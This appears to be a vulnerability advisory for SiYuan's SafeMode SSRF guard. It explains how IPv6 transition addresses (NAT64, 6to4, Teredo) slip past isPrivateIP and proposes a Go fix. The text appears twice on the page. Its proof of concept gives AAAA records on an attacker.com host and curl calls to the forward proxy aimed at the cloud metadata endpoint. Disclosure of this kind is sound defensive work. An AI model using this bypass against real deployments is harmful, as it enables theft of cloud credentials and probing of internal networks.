SSRF via IPv6 Transition Address Bypass of SSRFSafeDialer Guard in SafeMode
Summary
The isPrivateIP function in kernel/util/net.go, used by SSRFSafeDialer to enforce SSRF protection in SafeMode, only checks IsLoopback(), IsLinkLocalUnicast(), IsPrivate(), and IsUnspecified(). It does not recognize IPv6 transition addresses (NAT64 64:ff9b::/96, 6to4 2002::/16, Teredo 2001::/32) that embed private IPv4 destinations. When SafeMode is enabled, an attacker can bypass the SSRF guard via the network forward proxy endpoints by supplying a URL whose hostname resolves to one of these transition addresses.
Affected Component
- File:
kernel/util/net.go
- Function:
isPrivateIP (line ~148)
- Guard:
SSRFSafeDialer with SafeMode check
- Consumers:
kernel/api/network.go -- HTTP forward proxy, WebSocket proxy, SSE proxy endpoints; kernel/plugin/server.go
Details
The isPrivateIP function:
func isPrivateIP(ip net.IP) bool {
return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsPrivate() || ip.IsUnspecified()
}
Go's standard library methods do not recognize IPv6 transition prefixes:
| Prefix |
RFC |
Embeds |
64:ff9b::/96 |
RFC 6052 (NAT64) |
Low 32 bits = IPv4 destination |
64:ff9b:1::/48 |
RFC 8215 (NAT64 local-use) |
Same |
2002::/16 |
RFC 3056 (6to4) |
Bits 16-47 = IPv4 destination |
2001::/32 |
RFC 4380 (Teredo) |
Bits 96-127 = IPv4 destination |
For example, 64:ff9b::a9fe:a9fe encodes 169.254.169.254 (cloud metadata). net.IP.IsPrivate() returns false because 64:ff9b:: is not in fc00::/7 or any RFC 1918 range.
Additionally, IsMulticast() and IsLinkLocalMulticast() are not checked.
PoC
-
Set up a DNS record:
ssrf-test.attacker.com AAAA 64:ff9b::7f00:1 ;; loopback
ssrf-test.attacker.com AAAA 64:ff9b::a9fe:a9fe ;; metadata
ssrf-test.attacker.com AAAA 2002:c0a8:0101::1 ;; 192.168.1.1
-
With SiYuan running in SafeMode (--safeMode), use the network forward proxy endpoint:
# Encode target URL as base64
TARGET=$(echo -n "http://ssrf-test.attacker.com/latest/meta-data/" | base64 | tr -d '=')
# Call the forward proxy
curl "http://localhost:6806/api/network/forwardProxy?u=$TARGET"
-
The SSRFSafeDialer.Control hook runs:
- DNS resolves
ssrf-test.attacker.com to 64:ff9b::a9fe:a9fe
isPrivateIP(64:ff9b::a9fe:a9fe) returns false (no matching check)
- Connection proceeds even in SafeMode
- On a NAT64 network, the request reaches
169.254.169.254
Impact
When SafeMode is enabled (specifically designed to provide SSRF protection among other security hardening), an authenticated user can bypass the SSRF guard to:
- Access cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254) to steal instance credentials
- Reach internal services on private networks via the forward proxy
- Port-scan internal infrastructure
The forward proxy endpoints return the full response body to the caller, making this a full-read SSRF (not blind).
Suggested Fix
Add IPv6 transition prefix checks to isPrivateIP:
func isPrivateIP(ip net.IP) bool {
if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||
ip.IsPrivate() || ip.IsUnspecified() || ip.IsMulticast() {
return true
}
// Check IPv6 transition addresses that embed private IPv4
if ip16 := ip.To16(); ip16 != nil && len(ip16) == 16 {
// NAT64 (64:ff9b::/96)
if ip16[0] == 0x00 && ip16[1] == 0x64 && ip16[2] == 0xff && ip16[3] == 0x9b {
embedded := net.IPv4(ip16[12], ip16[13], ip16[14], ip16[15])
return isPrivateIP(embedded)
}
// 6to4 (2002::/16)
if ip16[0] == 0x20 && ip16[1] == 0x02 {
embedded := net.IPv4(ip16[2], ip16[3], ip16[4], ip16[5])
return isPrivateIP(embedded)
}
// Teredo (2001:0000::/32)
if ip16[0] == 0x20 && ip16[1] == 0x01 && ip16[2] == 0x00 && ip16[3] == 0x00 {
embedded := net.IPv4(ip16[12]^0xff, ip16[13]^0xff, ip16[14]^0xff, ip16[15]^0xff)
return isPrivateIP(embedded)
}
}
return false
}
Credit
tonghuaroot (tonghuaroot@gmail.com)
SSRF via IPv6 Transition Address Bypass of SSRFSafeDialer Guard in SafeMode
Summary
The
isPrivateIPfunction inkernel/util/net.go, used bySSRFSafeDialerto enforce SSRF protection in SafeMode, only checksIsLoopback(),IsLinkLocalUnicast(),IsPrivate(), andIsUnspecified(). It does not recognize IPv6 transition addresses (NAT6464:ff9b::/96, 6to42002::/16, Teredo2001::/32) that embed private IPv4 destinations. When SafeMode is enabled, an attacker can bypass the SSRF guard via the network forward proxy endpoints by supplying a URL whose hostname resolves to one of these transition addresses.Affected Component
kernel/util/net.goisPrivateIP(line ~148)SSRFSafeDialerwithSafeModecheckkernel/api/network.go-- HTTP forward proxy, WebSocket proxy, SSE proxy endpoints;kernel/plugin/server.goDetails
The
isPrivateIPfunction:Go's standard library methods do not recognize IPv6 transition prefixes:
64:ff9b::/9664:ff9b:1::/482002::/162001::/32For example,
64:ff9b::a9fe:a9feencodes169.254.169.254(cloud metadata).net.IP.IsPrivate()returnsfalsebecause64:ff9b::is not infc00::/7or any RFC 1918 range.Additionally,
IsMulticast()andIsLinkLocalMulticast()are not checked.PoC
Set up a DNS record:
With SiYuan running in SafeMode (
--safeMode), use the network forward proxy endpoint:The
SSRFSafeDialer.Controlhook runs:ssrf-test.attacker.comto64:ff9b::a9fe:a9feisPrivateIP(64:ff9b::a9fe:a9fe)returnsfalse(no matching check)169.254.169.254Impact
When SafeMode is enabled (specifically designed to provide SSRF protection among other security hardening), an authenticated user can bypass the SSRF guard to:
The forward proxy endpoints return the full response body to the caller, making this a full-read SSRF (not blind).
Suggested Fix
Add IPv6 transition prefix checks to
isPrivateIP:Credit
tonghuaroot (tonghuaroot@gmail.com)